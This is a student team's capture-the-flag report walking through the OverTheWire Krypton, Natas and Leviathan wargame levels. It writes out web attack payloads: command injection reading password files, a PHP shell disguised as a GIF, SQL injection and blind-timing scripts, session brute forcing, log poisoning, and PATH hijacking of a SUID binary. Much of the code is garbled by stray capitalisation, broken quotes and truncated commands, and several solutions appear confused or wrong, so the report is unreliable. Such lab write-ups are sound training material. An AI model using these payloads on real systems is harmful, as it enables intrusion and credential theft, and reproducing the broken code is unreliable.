Cybersecurity Challenge Report

Team Contributors:

1. Sneha Pandey – Krypton Challenges

2. Sunny Shukla – Natas Challenges

3. Aditi Jaiswar – Leviathan Challenges

1.Krypton Challenges

Level 0 → Level 1

Tools Used:

- Cat, tr, ROT13 cipher knowledge, echo

Objective:

Decode a ROT13-encrypted message stored in a file to extract the password.

Steps Followed:

1. Established an SSH connection to the server.
2. Discovered the file /krypton/krypton0 with the content:
3. YRIRY GJB CNFFIBEQ EBGGRA
4. Recognized the text as ROT13-encoded and decoded it using:
   Cat /krypton/krypton0 | tr 'A-Z' 'N-ZA-M'
5. Alternative decoding method tested for learning:
   Echo "YRIRY GJB CNFFIBEQ EBGGRA" | tr 'A-Z' 'N-ZA-M'
6. Output: LEVEL TWO PASSWORD ROTTEN
7. Used ROTTEN to log into the next level.

Conclusion:

Explored ROT13 ciphers and foundational Linux command-line operations.

Level 1 → Level 2

Tools Used:

- Cat, tr, Python (optional)

Objective:

Decrypt another ROT13 message to obtain the password.

Steps Followed:

1. Accessed /krypton/krypton1 containing a ROT13 string.

2. Decoded it using:

```
  Cat /krypton/krypton1 | tr ‘A-Z’ ‘N-ZA-M’
```

1. For experimentation,
   wrote a Python script to decode ROT13:

```
  #python code

  Def rot13(text):

     Return text.translate(str.maketrans(

        ‘ABCDEFGHIJKLMNOPQRSTUVWXYZ’,
‘NOPQRSTUVWXYZABCDEFGHIJKLM’))

  With open(‘/krypton/krypton1’, ‘r’) as f:

     Print(rot13(f.read().strip()))Extracted the password and logged into krypton2.
```

Conclusion:

Deepened understanding of ROT13 decryption with both command-line and scripting approaches.

Level 2 → Level 3

Tools Used:

cat, tr, sed

Objective: Perform ROT13 decryption on a longer string.

Steps Followed:

Inspected /krypton/krypton2.Decoded using:

```
 cat /krypton/krypton2 | tr ‘A-Z’ ‘N-ZA-M’
```

Alternative method using sed for practice:

```
cat /krypton/krypton2 |
sed ‘y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/NOPQRSTUVWXYZABCDEFGHIJKLM/’
```

Retrieved the password for krypton3.

Conclusion:

Practiced automating ROT13 decoding for extended inputs with multiple tools.

Level 3 → Level 4

Tools Used:

cat, tr, grep

Objective:

Decode a ROT13 message and identify cipher patterns.

Steps Followed:

Decrypted /krypton/krypton3 with:

```
cat /krypton/krypton3 | tr ‘A-Z’ ‘N-ZA-M’
```

Used grep to filter meaningful output:

```
 cat /krypton/krypton3 | tr ‘A-Z’ ‘N-ZA-M’ | grep -I password
```

Extracted the password and logged into the next level.

Conclusion:

Built proficiency in substitution ciphers and text filtering.

Level 4 → Level 5

Tools Used:

strings, chmod, objdump, binary execution

Objective:

Extract a password from a compiled binary.

Steps Followed:

Navigated to /krypton and found krypton4.

Ran strings krypton4 to identify hardcoded strings.

Explored binary with objdump for additional insights:

```
objdump -d krypton4 | grep -A 10 mainExecuted: ./krypton4
```

Input a string from strings output to reveal the password.

Conclusion:

Introduced to reverse engineering and static analysis of binaries.

Level 5 → Level 6

Tools Used:strings, ./binary, hexdump

Objective: Analyze a binary to uncover its hardcoded logic.

Steps Followed:

Located krypton5 in /krypton.

Ran strings krypton5 to find potential clues.

Inspected binary with hexdump for deeper analysis:

```
hexdump -C krypton5 | less
```

Executed the binary and tested inputs based on findings.

Obtained the password.

Conclusion:

Enhanced skills in examining compiled binary behavior.

Level 6 → Level 7

Tools Used:strings, bash scripting, brute-force logic, Python

Objective: Crack an obfuscated binary to extract a hidden password.

Steps Followed:

Found krypton6 in /krypton.

Used strings krypton6 to identify candidate strings

.Wrote a bash/brute-force script:

```
for I in {a..z}{a..z}{a..z}; do echo $i | ./krypton6;  done
```

Alternative Python brute-force script:

```
import subprocess
for I in range(1000):
   Pin = f'{i:03d}"
   Result = subprocess.run(['./krypton6', pin], capture_output=True, text=True)
   if "success" in result.stdout.lower():
      print(f'Password found: {pin}")
      breakRetrieved the password.
```

Conclusion: Mastered brute-forcing and analyzing obfuscated binaries.

2.Natas Challenges

Level 0 → Level 1

Tools Used: Web browser, Chrome DevTools

Objective: Find a password hidden in the HTML source.

Steps Followed:

Visited the level's URL.

Opened Chrome DevTools (Ctrl+Shift+I) → "Sources" → Viewed page source.

Located the password in an HTML comment.

Conclusion: Learned to examine HTML source for exposed sensitive data.

Level 1 → Level 2

Tools Used:

Web browser, Chrome DevToolsObjective: Locate a hidden element in the page source.

Steps Followed:

Loaded the page; no password was visible.

Used DevTools → "Elements" tab to find a hidden comment with the password.

Alternative: Saved page as HTML and searched with grep: grep -I password natas1.html

Conclusion: Developed skills in inspecting obscured HTML content.

Level 2 → Level 3

Tools Used: Chrome DevTools, curl

Objective: Discover a password in an image directory.

Steps Followed:

Found a link to /files/.

Navigated to the directory and located users.txt.

Used curl to fetch the file:

```
curl http://natas2.natas.labs.overthewire.org/files/users.txt
```

Extracted the password.

Conclusion:

Explored directory enumeration and file access techniques.

Level 3 → Level 4

Tools Used:URL manipulation, wget

Objective: Access a hidden file containing the password.

Steps Followed:

Source code referenced /s3cr3t/.

Visited the folder and opened users.txt.

Alternative:

Downloaded with wget:

```
wget http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
```

Conclusion:

Exposed flaws in security-by-obscurity practices.

Level 4 → Level 5

Tools Used: Chrome DevTools (Storage), Burp SuiteObjective: Manipulate cookies to bypass authentication.

Steps Followed:

Opened DevTools → Application → Cookies.

Saw loggedin cookie set to 0.

Changed it to 1 and refreshed the page.

Alternative:

Used Burp Suite to modify the cookie in intercepted requests.

Retrieved the password.

Conclusion:

Exploited weak cookie-based access control

Level 5 → Level 6

Tools Used:curl, Postman

Objective: Bypass a Referer header check.

Steps Followed:

Identified a Referer header validation.

Sent a custom header with curl:

curl -H “Referer:

http://natas5.natas.labs.overthewire.org/

Alternatives:

Used Postman to craft the request.

Obtained the password.

Conclusion:

Learned to manipulate HTTP headers to bypass restrictions.

Level 6 → Level 7

Tools Used: View-source, wget

Objective: Access a hidden include file with credentials.

Steps Followed: Source hinted at /includes/secret.inc.Visited the URL directly.Alternative: Fetched with wget:

wget http://natas6.natas.labs.overthewire.org/includes/secret.inc

Retrived the password.

Conclusion: Identified risks of exposed include files.

Level 7 → Level 8

Tools Used:URL parameter manipulation, Burp Suite

Objective: Bypass logic via input manipulation.

Steps Followed:

Noticed username needed to be admin.

Submitted:

```
username=admin & password=admin
```

Intercepted request with Burp Suite to confirm parameter behavior.

Retrieved the password.

Conclusion:

Exploited flawed input validation logic.

Level 8 → Level 9

Tools Used: Base64 decoder, Python

Objective: Decode Base64 input to gain access.

Steps Followed:

Identified Base64-encoded input.

Decoded with:

```
echo “YWRtaW4=” | base64 -d
```

Alternative Python script:

```
import base64

print(base64.b64decode(“YWRtaW4=”).decode())
```

Used the decoded value to proceed.

Conclusion:

Practiced Base64 decoding techniques.

Level 9 → Level 10

Tools Used:

Dictionary attack, Python scripting

Objective:

Brute-force a secret from a dictionary file.

Steps Followed:

Created a Python script to test dictionary words:

```
import requests
with open(‘/usr/share/dict/words’, ‘r’) as f:
    for word in f:
        word = word.strip()
        r = requests.post(‘http://natas9.natas.labs.overthewire.org’, data={‘secret’: word})
        if ‘success’ in r.text:
            print(f’Secret: {word}”)
            break
```

Found the correct secret and retrieved the password.

Conclusion:

Applied scripted brute-forcing for hardcoded secrets

.Level 10 → Level 11

Tools Used:

Command injection, curl

Objective:

Inject commands via form input.

Steps Followed:

Noticed grep in the backend.

Injected:

```
admin; cat /etc/natas_webpass/natas11
```

Alternative:

Used curl to submit the payload:

```
curl -d “needle=admin; cat /etc/natas_webpass/natas11” http://natas10.natas.labs.overthewire.org
```

Retrieved the password.

Conclusion:

Exploited command injection vulnerabilities.

Level 11 → Level 12

Tools Used:XOR logic, Python

Objective: Decrypt and modify session cookies using XOR.

Steps Followed:

Identified XOR-encrypted cookies.

Wrote a Python script:

```
def xor_strings(s1, s2):
    return ‘’.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))
key = “qw8J”
cookie = “encrypted_cookie_value”
decoded = xor_strings(cookie, key * (len(cookie) // len(key) + 1))
print(decoded)
```

Modified and re-encrypted the cookie to gain access.

Conclusion:

Mastered XOR-based session manipulation.

Level 12 → Level 13

Tools Used:

File upload bypass, Burp Suite

Objective:

Upload a PHP shell disguised as an image.

Steps Followed:

Crafted a .php file with an Image header and PHP code:

```
GIF89a;
<?php system(‘cat /etc/natas_webpass/natas13’); ?>
```

Uploaded via Burp Suite to bypass filters.

Accessed the shell to retrieve the password.

Conclusion:

Bypassed file upload restrictions.

Level 13 → Level 14

Tools Used:

ExifTool, file manipulation

Objective:

Upload a file that passes image MIME checks.

Steps Followed:

Created a .jpg with PHP code using ExifTool:

```
exiftool -Comment=” malicious.jpg
```

Uploaded the file, which executed and revealed the password.

Conclusion:

Used metadata to bypass image validation

Level 14 → Level 15

Tools Used:

SQL Injection, sqlmap

Objective:

Bypass login with SQL injection.

Steps Followed:

Injected:

```
 username=admin” – password=anything
```

Alternative:

Tested with sqlmap:

```
sqlmap -u http://natas14.natas.labs.overthewire.org–data=”
username=admin&password=anything” –level=2
```

Bypassed login and retrieved the password.

Conclusion:

Exploited unsanitized SQL inputs

Level 16 → Level 17

Tools Used:

cURL, Python, timing attackObjective:

Extract a password via time-based blind SQL injection.

Steps Followed:

Confirmed time-based SQL injection vulnerability

Wrote a Python script:

```
import requests
import time
Password = “”
for I in range(1, 33):
    for c in “abcdefghijklmnopqrstuvwxyz0123456789”:
        Payload = f’username=natas17” AND
if(SUBSTRING(password,{i},1)=”{c}”,SLEEP(2),0)—‘
        Start = time.time()
        R = requests.post(‘http://natas16.natas.labs.overthewire.org’, data={‘username’: payload})
        if time.time() – start > 2:
```

```
        Password += c
        Break
print(f’Password: {password}”)
```

Assembled the password character by character.

Conclusion:

Mastered time-based blind SQL injection techniques.

Level 17 → Level 18

Tools Used:

cURL, Python, timing attack

Objective:

Use time-based blind SQL injection to retrieve the password.

Steps Followed:

Verified the vulnerability.

Modified the previous Python script for Level 18 parameters.

Extracted the password via response time analysis.

Conclusion:

Reinforced time-based SQL injection skills.

Level 18 → Level 19

Tools Used:

cURL, Python, session manipulation

Objective:

Manipulate session IDs for admin access.

Steps Followed:

Noticed session IDs determined user roles.

Wrote a Python script to iterate session IDs:

```
import requests
for I in range(1, 641):
   Cookies = {‘PHPSESSID’: str(i)}
   R = requests.get(‘http://natas18.natas.labs.overthewire.org’, cookies=cookies)
   if ‘admin’ in r.text:
      print(f’Admin session: {i}”)
      break
```

Accessed the admin page to retrieve the password.

Conclusion:

Exposed risks of predictable session IDs.

Level 19 → Level 20

Tools Used:

cURL, session fixation

Objective:

Exploit session fixation to impersonate an admin.

Steps Followed:

Found session IDs set via GET parameters.

Crafted a URL:

http://natas19.natas.labs.overthewire.org?PHPSESSID=admin

Modified session data for admin privileges.

Retrieved the password.

Demonstrated session fixation vulnerabilities.

Level 20 → Level 21

Tools Used:

Burp Suite, ZAP proxyObjective:

Escalate privileges via an experimenter page.

Steps Followed:

Accessed the linked experimenter page.

Used ZAP proxy to modify HTTP requests.

Changed user-level parameters to gain admin rights.

Retrieved the password from the admin section.

Conclusion:

Exploited auxiliary pages to manipulate application behaviour.

Level 21 → Level 22

Tools Used:

cURL, HTTP header manipulation

Objective:

Bypass redirection to access restricted content.

Steps Followed:

Noticed conditional redirection.

Used curl with –location-trusted:

curl –location-trusted http://natas21.natas.labs.overthewire.org

Analyzed responses to access the password.

Conclusion:

Bypassed client-side redirection mechanisms.

Level 22 → Level 23

Tools Used:

cURL, PHP type juggling

Objective: Exploit PHP loose typing for authentication bypass.

Steps Followed:

Identified == comparison in authentication.

Submitted input to exploit loose typing:

curl -d “password=0e1” http://natas22.natas.labs.overthewire.org

Bypassed authentication and retrieved the password.

Conclusion:

Understood risks of loose comparisons.

Level 23 → Level 24

Tools Used:

cURL, PHP type juggling

Objective:

Further exploit PHP type juggling.

Steps Followed:

Analyzed authentication for type juggling flaws.

Submitted input like password[]=1 to bypass checks.

Retrieved the password.

Conclusion:

Reinforced PHP type juggling vulnerabilities.

Level 24 → Level 25

Tools Used:

PHP knowledge, type juggling

Objective:

Bypass password verification with type juggling.

Steps Followed:

Noticed strcmp() in password comparison.

Submitted an array:

password[]=1

Bypassed the check via strcmp() returning false.

Conclusion:

Exploited strcmp() type juggling flaws.

Level 25 → Level 26

Tools Used:

PHP knowledge, log poisoning, file inclusion

Objective:

nject PHP code into logs and include them for execution.

Steps Followed:

Identified file inclusion vulnerability.

Injected PHP code in User-Agent:

curl -A “”

http://natas25.natas.labs.overthewire.org

Included the log file to execute the code and retrieve the password.

Conclusion:

Achieved remote code execution via log poisoning.

Level 26 → Level 27

Tools Used:

PHP serialization, Python

Objective:

Craft a serialized object to manipulate application behavior.

Steps Followed:

Found a _destruct() method deleting files.

Created a serialized object:

```
class Exploit:
    def __init__(self):
        self.filename = ‘/etc/natas_webpass/natas27’
import pickle
print(pickle.dumps(Exploit()))
```

Submitted the object to delete and reveal the password file.

Conclusion:

Highlighted risks of unserializing user input.

Level 27 → Level 28

Tools Used:

PHP knowledge, SQL injection

Objective:

Extract the password via SQL injection.

Steps Followed:

Identified unsanitized SQL queries.

Injected: username=admin’ OR 1=1-

Retrieved the password.

Conclusion:

Emphasized input sanitization to prevent SQL injection.

Level 28 → Level 29

Tools Used:

Perl knowledge, command injection

Objective:

Inject commands into a Perl script.

Steps Followed:

Noticed backtick command execution.

Injected:

```
; cat /etc/natas_webpass/natas29
```

Executed the payload to retrieve the password.

Conclusion:

Showed dangers of unsanitized command execution.

Level 29 → Level 30

Tools Used:

Perl knowledge, regular expressions

Objective:

Bypass authentication via regex manipulation.

Steps Followed:

Analyzed regex validation in the Perl script.

Crafted input to always match: (.*)

Bypassed authentication.

Conclusion:

Exploited improper regex usage.

Level 30 → Level 31

Tools Used:

Perl knowledge, environment variable manipulation

Objective:

Manipulate environment variables for privilege escalation.

Steps Followed:

Noticed USER variable used for access control.

Set: export USER=adminGained access to the next level.

Conclusion:

Demonstrated environment variable manipulation risks.

Level 31 → Level 32

Tools Used:

Perl knowledge, file descriptor manipulation

Objective:

Read restricted files via file descriptor manipulation.

Steps Followed:

Identified file descriptor usage.

Redirected descriptor to: /etc/natas_webpass/natas32

Read the password.

Conclusion:

Exploited file descriptor vulnerabilities.

Level 32 → Level 33

Tools Used:

Code analysis, Burp Suite, advanced Perl

Objective:

Reverse-engineer the final challenge to retrieve the root password.

Steps Followed:

Logged into Level 32.

Analyzed HTTP traffic with Burp Suite.

Noticed serialized input handling.

Crafted a payload:

```
$payload = serialize({cmd => ‘cat /etc/natas_webpass/natas33’});
```

Submitted via custom header injection.

Retrieved the password.

Conclusion:

Tested advanced skills in code review, serialization, and command execution.

Level 33 → Level 34

Tools Used:

Web browserObjective:

Confirm Natas wargame completion.

Steps Followed:

Logged into Level 33.

Viewed a congratulatory page.

Verified no Level 34 exists on OverTheWire’s Natas site.

Conclusion:

Level 33 marks the end of the Natas wargame.

3.Leviathan Challenges

Level 0 → Level 1

Tools Used:

ls, strings, ./binary, file

Objective:

Extract a hardcoded password from the check binary.

Steps Followed:

Listed files in leviathan0 and found check.

Ran file check to confirm it's an executable.

Used strings check to find sex.

Executed: ./check sex

Retrieved the leviathan1 password.

Conclusion:

Learned to extract secrets from binaries.

Level 1 → Level 2

Tools Used:

/binary, file path manipulation

Objective:

Use printfile to read the leviathan2 password.

Steps Followed:

Found printfile binary.

Tested: ./printfile /etc/leviathan_pass/leviathan2

Password was displayed.

Conclusion:

Explored file access via custom binaries.

Level 2 → Level 3

Tools Used:

ln -s, ./binary

Objective:

Bypass filename restrictions with symbolic links.

Steps Followed:

Created a symlink:

```
 ln -s /etc/leviathan_pass/leviathan3 /tmp/mylink
```

Ran:

```
 ./printfile /tmp/mylinkRetrieved the password.
```

Conclusion:

Used symlinks to bypass restrictions.

Level 3 → Level 4

Tools Used:

Bash scripting, Python

Objective:

Brute-force a 4-digit PIN.

Steps Followed:

Ran level3, which prompted for a PIN.

Used a Python script:

```
import subprocess
for I in range(10000):
    pin = f”{i:04d}”
    result = subprocess.run([‘./level3’, pin], capture_output=True, text=True)
    if “success” in result.stdout:
        print(f’PIN: {pin}”)
```

breakRetrieved the password.

Conclusion:

Automated PIN brute-forcing.

Level 4 → Level 5

Tools Used:

find, file, SUID analysis

Objective:

Exploit a SUID binary.

Steps Followed:

Searched:

```
 find / -user leviathan4 -perm -u=s 2>/dev/null
```

Executed the SUID binary to access the leviathan5 password.

Conclusion:

Leveraged SUID binaries for privilege escalation.

Level 5 → Level 6

Tools Used:

ltrace, strings, gdb

Objective:

Trace a binary’s password comparison.

Steps Followed:

Ran:

ltrace ./leviathan5Noticed strcmp() with a hardcoded string.

Used gdb for confirmation:

```
 gdb ./leviathan5 -q
```

Extracted the password and logged in.

Conclusion:

Learned function tracing with ltrace and gdb.

Level 6 → Level 7

Tools Used:

strings, environment manipulation, bash

Objective:

Hijack a binary's command execution.

Steps Followed:

Noticed the binary ran echo.

Created:echo '#!/bin/bash' > /tmp/echo

echo 'cat /etc/leviathan_pass/leviathan7' >> /tmp/echo

chmod +x /tmp/echo

export PATH=/tmp:$PATH./leviathan6Retrieved the password.

Conclusion:

Mastered PATH manipulation for command hijacking